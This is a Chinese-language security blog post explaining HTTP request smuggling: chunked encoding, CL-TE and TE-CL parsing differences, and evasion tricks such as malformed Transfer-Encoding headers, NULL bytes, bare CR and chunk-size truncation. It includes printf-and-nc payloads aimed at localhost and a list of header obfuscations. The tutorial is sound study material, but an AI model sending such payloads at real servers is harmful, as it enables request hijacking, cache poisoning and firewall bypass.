<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      HTTP请求走私 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        HTTP请求走私
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2022-10-03
      </span>

                                                                        <span class="post-pubtime"> 本文共2.4k字 </span>

                                                                        <span class="post-pubtime">
        大约需要15min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/WEB/" title="WEB">
            <b>#</b> WEB
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[toc]</p>
<p>一些参考链接：</p>
<blockquote>
<p>  <a target="_blank" rel="noopener" href="https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/">https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/</a></p>
<p>  <a target="_blank" rel="noopener" href="https://regilero.github.io/tag/Smuggling/">https://regilero.github.io/tag/Smuggling/</a></p>
<p>  <a target="_blank" rel="noopener" href="https://paper.seebug.org/1048/">https://paper.seebug.org/1048/</a></p>
</blockquote>
<h1 id="TimeLine"><a href="#TimeLine" class="headerlink" title="TimeLine"></a>TimeLine</h1><ul>
<li>2004年，<code>@Amit Klein</code> 提出 <a target="_blank" rel="noopener" href="https://dl.packetstormsecurity.net/papers/general/whitepaper_httpresponse.pdf">HTTP Response Splitting</a> 技术，雏形</li>
<li>2005年，<code>@Watchfire</code> 首次提出 <a target="_blank" rel="noopener" href="https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf">HTTP Request Smuggling</a></li>
<li>2016 年 Defcon 24 ，<code>@regilero</code> 提出了 [Hiding Wookiees In Http](<a target="_blank" rel="noopener" href="https://media.defcon.org/DEF">https://media.defcon.org/DEF</a> CON 24&#x2F;DEF CON 24 presentations&#x2F;DEF CON 24 - Regilero-Hiding-Wookiees-In-Http.pdf)，进一步揭示了 HTTP Smuggling 这种攻击方式。</li>
<li>2019 年 Defcon 27， <code>@James Kettle</code> 提出了 [HTTP Desync Attacks: Smashing into the Cell Next Door](<a target="_blank" rel="noopener" href="https://media.defcon.org/DEF">https://media.defcon.org/DEF</a> CON 27&#x2F;DEF CON 27 presentations&#x2F;DEFCON-27-albinowax-HTTP-Desync-Attacks.pdf)，讲解了如何用 HTTP Smuggling 技术挖掘到了 Paypal 的漏洞。</li>
</ul>
<p>参考<code>@regilero</code>博客：<a target="_blank" rel="noopener" href="https://regilero.github.io/tag/Smuggling/">https://regilero.github.io/tag/Smuggling/</a></p>
<h1 id="HTTP-Connection"><a href="#HTTP-Connection" class="headerlink" title="HTTP Connection"></a>HTTP Connection</h1><p>在<code>HTTP1.0</code>之前的协议设计中，客户端每进行一次HTTP请求，就需要同服务器建立一个TCP链接，导致服务器负载增大</p>
<p>在<code>HTTP1.1</code>中，增加了<code>Keep-Alive</code>和<code>Pipeline</code>这两个特性。</p>
<h2 id="Keep-Alive"><a href="#Keep-Alive" class="headerlink" title="Keep-Alive"></a>Keep-Alive</h2><p>根据<code>RFC7230</code>在 <code>HTTP/1.1</code>中默认使用<code>Keep-Alive</code>，从而允许在单个连接上承载多个请求和响应。</p>
<p>所谓<code>Keep-Alive</code>就是在请求头中加：<code>Connection: Keep-Alive</code>，告诉服务器，接收完这次HTTP请求后，不要关闭TCP链接，后面对相同目标服务器的HTTP请求，重用这一个TCP链接，有些请求会带<code>Connection: close</code>，通信完成后会关闭TCP链接</p>
<h2 id="Pipeline"><a href="#Pipeline" class="headerlink" title="Pipeline"></a>Pipeline</h2><p>在上面的<code>Keep-Alive</code>之后出现了<code>Pipeline</code>，也就是客户可以一直发请求，服务端接收到后存放到队列中处理。以下是是否使用<code>Pipeline</code>的对比：</p>
<p><img src="/2022/10/03/2022-10-HTTP/20191017234109.png" alt="img"></p>
<h1 id="Message-Body"><a href="#Message-Body" class="headerlink" title="Message Body"></a>Message Body</h1><p>RFC：<a target="_blank" rel="noopener" href="https://tools.ietf.org/html/rfc7230#section-3.3">https://tools.ietf.org/html/rfc7230#section-3.3</a></p>
<h2 id="Transfer-Encoding"><a href="#Transfer-Encoding" class="headerlink" title="Transfer-Encoding"></a>Transfer-Encoding</h2><blockquote>
<p>  Transfer-Encoding 类似于 MIME 的 Content-Transfer-Encoding 字段，旨在通过 7 位传输服务实现二进制数据的安全传输。 然而，安全传输对 8bit-clean 传输协议有不同的关注点。 在 HTTP 的情况下，Transfer-Encoding 的主要目的是准确界定动态生成的有效负载，并将仅用于传输效率或安全性的有效负载编码与作为所选资源特征的有效负载编码区分开来。</p>
</blockquote>
<p>MDN列举的几个属性，这里着重关注chunked：</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>chunked</span><br><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>compress</span><br><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>deflate</span><br><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>gzip</span><br></pre></td></tr></table></figure>

<p>可以bypassWAF，见：<a target="_blank" rel="noopener" href="https://www.freebuf.com/articles/web/194351.html">利用分块传输吊打所有WAF</a></p>
<p>分块传输的规范：<a target="_blank" rel="noopener" href="https://www.rfc-editor.org/rfc/rfc7230#section-4.1">RFC7230</a></p>
<blockquote>
<p>The chunked transfer coding wraps the payload body in order to transfer it as a series of chunks, each with its own size indicator, followed by an OPTIONAL trailer containing header fields.  Chunked enables content streams of unknown size to be transferred as a sequence of length-delimited buffers, which enables the sender to retain connection persistence and the recipient to know when it has received the entire message.</p>
<p>  分块传输编码将有效负载主体包装起来，以便将其作为一系列块传输，每个块都有自己的大小指示符，后跟一个包含标题字段的可选尾部。 分块使未知大小的内容流能够作为一系列以长度分隔的缓冲区进行传输，这使发送者能够保持连接持久性，而接收者能够知道它何时收到了整个消息。</p>
</blockquote>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">chunked-body   = *chunk</span><br><span class="line">                 last-chunk</span><br><span class="line">                 trailer-part</span><br><span class="line">                 CRLF</span><br><span class="line"></span><br><span class="line">chunk          = chunk-size [ chunk-ext ] CRLF</span><br><span class="line">                 chunk-data CRLF</span><br><span class="line">chunk-size     = 1*HEXDIG</span><br><span class="line">last-chunk     = 1*(&quot;0&quot;) [ chunk-ext ] CRLF</span><br><span class="line"></span><br><span class="line">chunk-data     = 1*OCTET ; a sequence of chunk-size octets</span><br></pre></td></tr></table></figure>

<blockquote>
<p>  chunk-size字段是一串十六进制数字，以八位字节表示块数据的大小。 当接收到一个块大小为零的块时，分块传输编码就完成了，可能后面跟着一个trailer，最后由一个空行终止。</p>
</blockquote>
<p>等等等等，，看文档去吧。。</p>
<p>如果想发送：<code>Wikipedia in\r\n\r\nchunks.</code></p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POSTT</span> <span class="string">/xxx</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>xxx</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>text/plain </span><br><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>chunked</span><br><span class="line"></span><br><span class="line"><span class="taggerscript">4<span class="symbol">\r</span><span class="symbol">\n</span></span></span><br><span class="line"><span class="taggerscript">Wiki<span class="symbol">\r</span><span class="symbol">\n</span></span></span><br><span class="line"><span class="taggerscript">5<span class="symbol">\r</span><span class="symbol">\n</span></span></span><br><span class="line"><span class="taggerscript">pedia<span class="symbol">\r</span><span class="symbol">\n</span></span></span><br><span class="line"><span class="taggerscript">e<span class="symbol">\r</span><span class="symbol">\n</span></span></span><br><span class="line"><span class="taggerscript"> in<span class="symbol">\r</span><span class="symbol">\n</span><span class="symbol">\r</span><span class="symbol">\n</span>chunks.<span class="symbol">\r</span><span class="symbol">\n</span></span></span><br><span class="line"><span class="taggerscript">0<span class="symbol">\r</span><span class="symbol">\n</span></span></span><br><span class="line"><span class="taggerscript"><span class="symbol">\r</span><span class="symbol">\n</span></span></span><br></pre></td></tr></table></figure>

<blockquote>
<p>  第一个4表示接下来会有4字节数据(Wiki)，然后按照 RFC 文档标准，字母 Wiki 部分后面需要跟<code>\r\n</code>表示 chunk-data 部分，数字 4 后面需要跟<code>\r\n</code>表示 chunk-size 部分，注意这里的数字是16进制，比如见第三部分的e；最后的0\r\n\r\n表示chunk部分结束</p>
</blockquote>
<h1 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h1><blockquote>
<p>  为了提升用户的浏览速度，提高使用体验，减轻服务器的负担，很多网站都用上了CDN加速服务，最简单的加速服务，就是在源站的前面加上一个具有缓存功能的反向代理服务器，用户在请求某些静态资源时，直接从代理服务器中就可以获取到，不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。</p>
</blockquote>
<p>引图：</p>
<p><img src="/2022/10/03/2022-10-HTTP/1570691716000-Topology.png"></p>
<blockquote>
<p>  一般来说，反向代理服务器与后端的源站服务器之间，会重用TCP链接。这也很容易理解，用户的分布范围是十分广泛，建立连接的时间也是不确定的，这样TCP链接就很难重用，而代理服务器与后端的源站服务器的IP地址是相对固定，不同用户的请求通过代理服务器与源站服务器建立链接，这两者之间的TCP链接进行重用，也就顺理成章了。</p>
<p>  当我们向代理服务器发送一个比较模糊的HTTP请求时，由于两者服务器的实现方式不同，可能代理服务器认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实现了HTTP走私攻击。</p>
</blockquote>
<p>也就是两者的解析差异</p>
<h1 id="Attack-Method"><a href="#Attack-Method" class="headerlink" title="Attack Method"></a>Attack Method</h1><h2 id="优先级"><a href="#优先级" class="headerlink" title="优先级"></a>优先级</h2><p><code>Content-Length</code> 与 <code>Transfer-Encoding</code> 均可以作为 POST 数据传输时处理 body 的方式，为了方便：</p>
<blockquote>
<p>  Front 代表的是反向代理等典型的前端服务器，Backend 代表的是处理请求的后端业务服务器</p>
</blockquote>
<ul>
<li>CL-TE 代表 Front 以 <code>Content-Length</code> 优先处理，Backend 以 <code>Transfer-Encoding</code> 优先处理</li>
<li>TE-CL 代表 Front 以 <code>Transfer-Encoding</code> 优先处理，Backend 以 <code>Content-Length</code> 优先处理</li>
</ul>
<p>上述情况下，后端服务器为一台时的架构类似：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">User            Front           Backend</span><br><span class="line">|               |               |</span><br><span class="line">|------A-------&gt;|               | </span><br><span class="line">|               |-------A------&gt;| </span><br><span class="line">|               |&lt;-A(200)-------|</span><br><span class="line">|&lt;-A(200)-------|               |</span><br></pre></td></tr></table></figure>

<p>其实CL与TE是在RFC中规定了优先级的，TE优先级高于CL。但还是可以通过一些方法绕过。</p>
<p>eg：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">printf </span><br><span class="line"><span class="string">&#x27;GET / HTTP/1.1\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Host:localhost\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Content-length:56\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Transfer-Encoding: chunked\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Dummy:Header\r\n\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;0\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;GET /tmp HTTP/1.1\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Host:localhost\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Dummy:Header\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;GET /tests HTTP/1.1\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Host:localhost\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Dummy:Header\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;\r\n&#x27;</span>\</span><br><span class="line">| nc -q3 <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure>

<p>正常情况下应该是3个请求</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">Host:localhost</span><br><span class="line">Content-length:56</span><br><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>chunked</span><br><span class="line">Dummy:Header</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/tmp</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">Host:localhost</span><br><span class="line">Dummy:Header</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/tests</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">Host:localhost</span><br><span class="line">Dummy:Header</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>如果存在TE&amp;CL优先级的话会被解析为两个请求：</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">GET / HTTP/1.1[CRLF]</span><br><span class="line">Host:localhost[CRLF]</span><br><span class="line">Content-length:56[CRLF]</span><br><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>chunked[CRLF] (ignored and removed, hopefully)</span><br><span class="line">Dummy:Header[CRLF]</span><br><span class="line">[CRLF]</span><br><span class="line">0[CRLF]  (start of 56 bytes of body)</span><br><span class="line">[CRLF]</span><br><span class="line">GET /tmp HTTP/1.1[CRLF]</span><br><span class="line">Host:localhost[CRLF]</span><br><span class="line">Dummy:Header[CRLF] (end of 56 bytes of body, not parsed)</span><br></pre></td></tr></table></figure>

<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/tests</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">Host:localhost</span><br><span class="line">Dummy:Header</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h2 id="Bad-chunked-Transimission"><a href="#Bad-chunked-Transimission" class="headerlink" title="Bad chunked Transimission"></a>Bad chunked Transimission</h2><p><a target="_blank" rel="noopener" href="https://www.rfc-editor.org/rfc/rfc7230#section-3.3.3">RFC7230 3.3.3</a>：</p>
<blockquote>
<p>  如果请求中存在 Transfer-Encoding 头字段，并且分块传输编码不是最终编码，则无法可靠地确定消息体长度； 服务器必须响应 400（Bad Request）状态码，然后关闭连接。</p>
</blockquote>
<p>也就是说收到<code>Transfer-Encoding: chunked, zorg</code>的时候，要返回400</p>
<p>但是有很多绕过：</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>xchunked</span><br><span class="line"></span><br><span class="line">Transfer-Encoding : chunked</span><br><span class="line"></span><br><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>chunked</span><br><span class="line"></span><br><span class="line"><span class="attribute">Transfer-Encoding</span><span class="punctuation">: </span>x</span><br><span class="line"></span><br><span class="line">Transfer-Encoding:[tab]chunked</span><br><span class="line"></span><br><span class="line"><span class="keyword">GET</span> <span class="string">/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"> Transfer-Encoding: chunked</span><br><span class="line"><span class="attribute">X</span><span class="punctuation">: </span>X[\n]Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line"><span class="ada">Transfer-Encoding</span></span><br><span class="line"><span class="ada"> : <span class="type">chunked</span></span></span><br></pre></td></tr></table></figure>

<h2 id="NULL-in-header"><a href="#NULL-in-header" class="headerlink" title="NULL in header"></a>NULL in header</h2><p>在一些用C写的中间件会容易产生这个问题，比如：</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"># 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)</span><br><span class="line">printf &#x27;GET / HTTP/1.1\r\n&#x27;\</span><br><span class="line">&#x27;Host:localhost\r\n&#x27;\</span><br><span class="line">&#x27;Content-\0dummy: foo\r\n&#x27;\</span><br><span class="line">&#x27;length: 56\r\n&#x27;\</span><br><span class="line">&#x27;Transfer-Encoding: chunked\r\n&#x27;\</span><br><span class="line">&#x27;Dummy:Header\r\n&#x27;\</span><br><span class="line">&#x27;\r\n&#x27;\</span><br><span class="line">&#x27;0\r\n&#x27;\</span><br><span class="line">&#x27;\r\n&#x27;\</span><br><span class="line">&#x27;GET /tmp HTTP/1.1\r\n&#x27;\</span><br><span class="line">&#x27;Host:localhost\r\n&#x27;\</span><br><span class="line">&#x27;Dummy:Header\r\n&#x27;\</span><br><span class="line">&#x27;\r\n&#x27;\</span><br><span class="line">&#x27;GET /tests HTTP/1.1\r\n&#x27;\</span><br><span class="line">&#x27;Host:localhost\r\n&#x27;\</span><br><span class="line">&#x27;Dummy:Header\r\n&#x27;\</span><br><span class="line">&#x27;\r\n&#x27;\</span><br><span class="line">| nc -q3 127.0.0.1 8080</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>有些中间件处理以上的请求时，当遇到<code>\0</code>的时候会继续换行读取，这样也会导致产生解析差异。</p>
<h2 id="CRLF"><a href="#CRLF" class="headerlink" title="CRLF"></a>CRLF</h2><p>RFC3.5：</p>
<blockquote>
<p>  尽管起始行和标题字段的行终止符是序列 CRLF，但接收者可以将单个 LF 识别为行终止符并忽略任何前面的 CR。</p>
</blockquote>
<p>也就是说可以直接使用LF作为EOL，在NodeJs&lt;5.6.0中，是这样处理的：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[CR] + ? == [CR][LF]		//true</span><br></pre></td></tr></table></figure>

<p>假设我们有一个正常解析 CRLF 的 Front 服务器，后端是有该漏洞的 Node.js 服务，我们可以发送以下请求：</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">GET / HTTP/1.1\r\n</span><br><span class="line">Host:localhost\r\n</span><br><span class="line"><span class="attribute">Dummy</span><span class="punctuation">: </span>Header\rZTransfer-Encoding: chunked\r\n</span><br><span class="line"><span class="attribute">Content-length</span><span class="punctuation">: </span>52\r\n</span><br><span class="line">\r\n</span><br><span class="line">0\r\n</span><br><span class="line">\r\n</span><br><span class="line">GET /tmp HTTP/1.1\r\n</span><br><span class="line">Host:localhost\r\n</span><br><span class="line">Dummy:Header\r\n</span><br></pre></td></tr></table></figure>

<p>Front服务器会认为<code>Dummy: Header\rZTransfer-Encoding: chunked\r\n</code>是一个请求头，而后端NodeJs服务器会认为<code>\rZ</code>是一个换行，按照TE&gt;CL，会认为这是两个请求。</p>
<h2 id="Size-Issue"><a href="#Size-Issue" class="headerlink" title="Size Issue"></a>Size Issue</h2><p>有些中间件在解析快大小的时候会对块长度进行长度截断，比如：&#96;&#96;0000000000000000000000000000042<code>只取</code>00000000000000000&#96;</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;GET / HTTP/1.1\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Host:localhost\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Transfer-Encoding: chunked\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Dummy:Header\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;0000000000000000000000000000042\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;GET /tmp/ HTTP/1.1\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Host:localhost\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;Transfer-Encoding: chunked\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;0\r\n&#x27;</span>\</span><br><span class="line"><span class="string">&#x27;\r\n&#x27;</span>\</span><br><span class="line">| nc -q3 <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure>


                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2022/09/28/2022-9-%E8%BF%99%E4%B8%A4%E5%B9%B4%E6%88%91%E5%AD%A6%E5%88%B0%E4%BA%86%E4%BB%80%E4%B9%88/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2022-10-03
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/WEB/" title="WEB">
              <b>#</b> WEB
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2099/12/31/TOP/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
